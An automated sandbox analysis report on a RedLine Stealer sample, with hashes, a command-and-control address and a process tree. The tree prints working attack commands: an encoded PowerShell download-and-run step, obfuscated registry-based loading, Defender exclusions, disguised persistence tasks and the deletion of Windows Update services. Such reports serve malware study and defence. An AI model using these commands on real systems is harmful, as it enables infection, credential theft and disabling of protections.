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Analysis
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max time kernel
151s -
max time network
49s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
15/01/2023, 19:30
Static task
static1
Behavioral task
behavioral1
Sample
6b44e61780776a20e0e5cf557c600748f490b92b.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
6b44e61780776a20e0e5cf557c600748f490b92b.exe
Resource
win10v2004-20220812-en
General
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Target
6b44e61780776a20e0e5cf557c600748f490b92b.exe
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Size
345KB
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MD5
a6db211824cfcc618ccb6ef4d63559cd
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SHA1
6b44e61780776a20e0e5cf557c600748f490b92b
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SHA256
46e1c91ab03398f776efc4a39fccd7ebb8c749a6c5ba18ca486b9d4660117256
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SHA512
d920f07089dde273bf62fc9ee81fb8e1c0203cf10f599f5b050a146a923f866929ce2bae273299bb63f0128371c31f6940b08ab410d61ce25ad91d6b7e8e9d21
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SSDEEP
6144:c3Qawf55fX1K/WfxXrHo9/z1/TY9JCGyvX6y3v60cjdtsFXAOrR6Gsc:c3Qawh5fX1K/WdrHo9rZTY9tbsxtgG7
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1012-100-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1012-108-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1012-105-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/1012-107-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1908 created 1304 1908 SmartDefRun.exe 15 PID 1908 created 1304 1908 SmartDefRun.exe 15 PID 1908 created 1304 1908 SmartDefRun.exe 15 PID 1908 created 1304 1908 SmartDefRun.exe 15 PID 2016 created 420 2016 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 320 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1540 C4Loader.exe 1220 new2.exe 1644 SysApp.exe 1908 SmartDefRun.exe 1184 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 10 IoCs
pid Process 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 1072 WerFault.exe 1072 WerFault.exe 1072 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1396 set thread context of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1220 set thread context of 1012 1220 new2.exe 37 PID 1908 set thread context of 1196 1908 SmartDefRun.exe 56 PID 2016 set thread context of 1504 2016 powershell.EXE 63 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1692 sc.exe 1084 sc.exe 1976 sc.exe 868 sc.exe 1432 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1476 1396 WerFault.exe 26 1072 1220 WerFault.exe 34 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2016 schtasks.exe 1980 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0c967b41f29d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 1644 SysApp.exe 1644 SysApp.exe 1644 SysApp.exe 1644 SysApp.exe 1644 SysApp.exe 1908 SmartDefRun.exe 1908 SmartDefRun.exe 568 powershell.exe 1908 SmartDefRun.exe 1908 SmartDefRun.exe 1908 SmartDefRun.exe 1908 SmartDefRun.exe 1620 powershell.exe 1908 SmartDefRun.exe 1908 SmartDefRun.exe 2016 powershell.EXE 1012 vbc.exe 1032 powershell.EXE 2016 powershell.EXE 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 320 powershell.exe Token: SeDebugPrivilege 568 powershell.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeDebugPrivilege 2016 powershell.EXE Token: SeDebugPrivilege 1012 vbc.exe Token: SeDebugPrivilege 1032 powershell.EXE Token: SeDebugPrivilege 2016 powershell.EXE Token: SeDebugPrivilege 1504 dllhost.exe Token: SeShutdownPrivilege 1304 Explorer.EXE Token: SeShutdownPrivilege 1304 Explorer.EXE Token: SeShutdownPrivilege 1304 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1396 wrote to memory of 1724 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 28 PID 1396 wrote to memory of 1724 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 28 PID 1396 wrote to memory of 1724 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 28 PID 1396 wrote to memory of 1724 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 28 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1288 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 29 PID 1396 wrote to memory of 1476 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 30 PID 1396 wrote to memory of 1476 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 30 PID 1396 wrote to memory of 1476 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 30 PID 1396 wrote to memory of 1476 1396 6b44e61780776a20e0e5cf557c600748f490b92b.exe 30 PID 1288 wrote to memory of 320 1288 vbc.exe 31 PID 1288 wrote to memory of 320 1288 vbc.exe 31 PID 1288 wrote to memory of 320 1288 vbc.exe 31 PID 1288 wrote to memory of 320 1288 vbc.exe 31 PID 320 wrote to memory of 1540 320 powershell.exe 33 PID 320 wrote to memory of 1540 320 powershell.exe 33 PID 320 wrote to memory of 1540 320 powershell.exe 33 PID 320 wrote to memory of 1540 320 powershell.exe 33 PID 320 wrote to memory of 1220 320 powershell.exe 34 PID 320 wrote to memory of 1220 320 powershell.exe 34 PID 320 wrote to memory of 1220 320 powershell.exe 34 PID 320 wrote to memory of 1220 320 powershell.exe 34 PID 320 wrote to memory of 1644 320 powershell.exe 35 PID 320 wrote to memory of 1644 320 powershell.exe 35 PID 320 wrote to memory of 1644 320 powershell.exe 35 PID 320 wrote to memory of 1644 320 powershell.exe 35 PID 320 wrote to memory of 1908 320 powershell.exe 36 PID 320 wrote to memory of 1908 320 powershell.exe 36 PID 320 wrote to memory of 1908 320 powershell.exe 36 PID 320 wrote to memory of 1908 320 powershell.exe 36 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1012 1220 new2.exe 37 PID 1220 wrote to memory of 1072 1220 new2.exe 38 PID 1220 wrote to memory of 1072 1220 new2.exe 38 PID 1220 wrote to memory of 1072 1220 new2.exe 38 PID 1220 wrote to memory of 1072 1220 new2.exe 38 PID 1596 wrote to memory of 1692 1596 cmd.exe 45 PID 1596 wrote to memory of 1692 1596 cmd.exe 45 PID 1596 wrote to memory of 1692 1596 cmd.exe 45 PID 1596 wrote to memory of 1084 1596 cmd.exe 46 PID 1596 wrote to memory of 1084 1596 cmd.exe 46 PID 1596 wrote to memory of 1084 1596 cmd.exe 46 PID 1596 wrote to memory of 1976 1596 cmd.exe 47 PID 1596 wrote to memory of 1976 1596 cmd.exe 47 PID 1596 wrote to memory of 1976 1596 cmd.exe 47 PID 1596 wrote to memory of 868 1596 cmd.exe 48 PID 1596 wrote to memory of 868 1596 cmd.exe 48 PID 1596 wrote to memory of 868 1596 cmd.exe 48 PID 1596 wrote to memory of 1432 1596 cmd.exe 49 PID 1596 wrote to memory of 1432 1596 cmd.exe 49 PID 1596 wrote to memory of 1432 1596 cmd.exe 49 PID 1596 wrote to memory of 1876 1596 cmd.exe 50 PID 1596 wrote to memory of 1876 1596 cmd.exe 50 PID 1596 wrote to memory of 1876 1596 cmd.exe 50 PID 1620 wrote to memory of 1980 1620 powershell.exe 51 PID 1620 wrote to memory of 1980 1620 powershell.exe 51
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:304
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1604
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:880 -
C:\Windows\system32\taskeng.exetaskeng.exe {74D0AC7A-07C4-4B78-A126-010EC9DADF77} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1244
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+'A'+'RE').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+'e'+'r'+[Char](115)+'ta'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('d'+[Char](105)+'a'+[Char](108)+''+'e'+''+'r'+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\system32\taskeng.exetaskeng.exe {DDDABFF3-6CC3-484B-8B61-6C9EA72E2BF3} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]3⤵PID:1592
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:600
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{43fda1a2-da90-4fb1-a66e-67f47000011d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1820
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1304 -
C:\Users\Admin\AppData\Local\Temp\6b44e61780776a20e0e5cf557c600748f490b92b.exe"C:\Users\Admin\AppData\Local\Temp\6b44e61780776a20e0e5cf557c600748f490b92b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:1724
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1540
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1012
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:1072
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1644 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:2016
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1908
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 363⤵
- Program crash
PID:1476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:568
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1980
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1692
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1084
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1976
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:868
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1432
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1876
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:984
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1800
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:828
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:988
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1196
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1232
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-423753719-176135838628397772-571826064-2124441678-1521706615-87894103-1058246002"1⤵PID:588
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
